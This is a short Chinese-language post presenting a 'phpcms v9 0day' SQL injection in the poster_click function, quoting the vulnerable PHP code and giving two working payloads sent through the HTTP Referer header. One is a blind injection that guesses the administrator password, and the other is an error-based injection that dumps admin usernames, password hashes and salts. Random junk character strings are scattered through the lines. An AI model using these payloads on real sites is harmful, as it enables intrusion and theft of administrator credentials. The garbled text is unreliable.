phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

+ ]' k7 W( O( n% v' W问题函数\phpcms\modules\poster\index.php
9 F$ `6 E. t% H- ]" v0 g
public function poster_click() {
% I: Y0 z. x2 ^: T$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
3 K0 J7 @" H5 P$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
& u) j; S! U' _$ N7 T$ip = ip();
$area = $ip_area->get($ip);
4 f( L# N; H' L3 C, Z2 F' R$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$ T* f3 Q8 {' s- b% t$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
. K  F# Y5 X$ @% ^if (count($setting)==1) {
& c8 J+ I2 I( M$url = $setting['1']['linkurl'];
* M! J# d: b9 E+ M} else {
( P! l! i& v) g4 `$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
header('Location: '.$url);
8 v! X# P# ^! h, b}
% A. P& x+ _7 o1 U% |; O& z% Z( o6 n, ~


4 q0 ?1 {. z6 @2 C利用方式：
6 Y) D  U0 N8 V6 P' E" e
1、可以采用盲注入的手法：
6 \. `+ Y) |0 e' M; a: |' }" G' q. u
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
. Y. j# F8 Y0 ?- z- ~; e* a
- ^/ P$ B5 ~# m1 l# @5 ~( K通过返回页面，正常与否一个个猜解密码字段。
/ \% d& E" o* q2 O9 z
2、代码是花开写的，随手附上了：

* w, C3 H' X  @; G2 _1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
; U# G" S- ^0 n2 B2 J& j
  P- G3 l+ r5 X6 J此方法是爆错注入手法，原理自查。
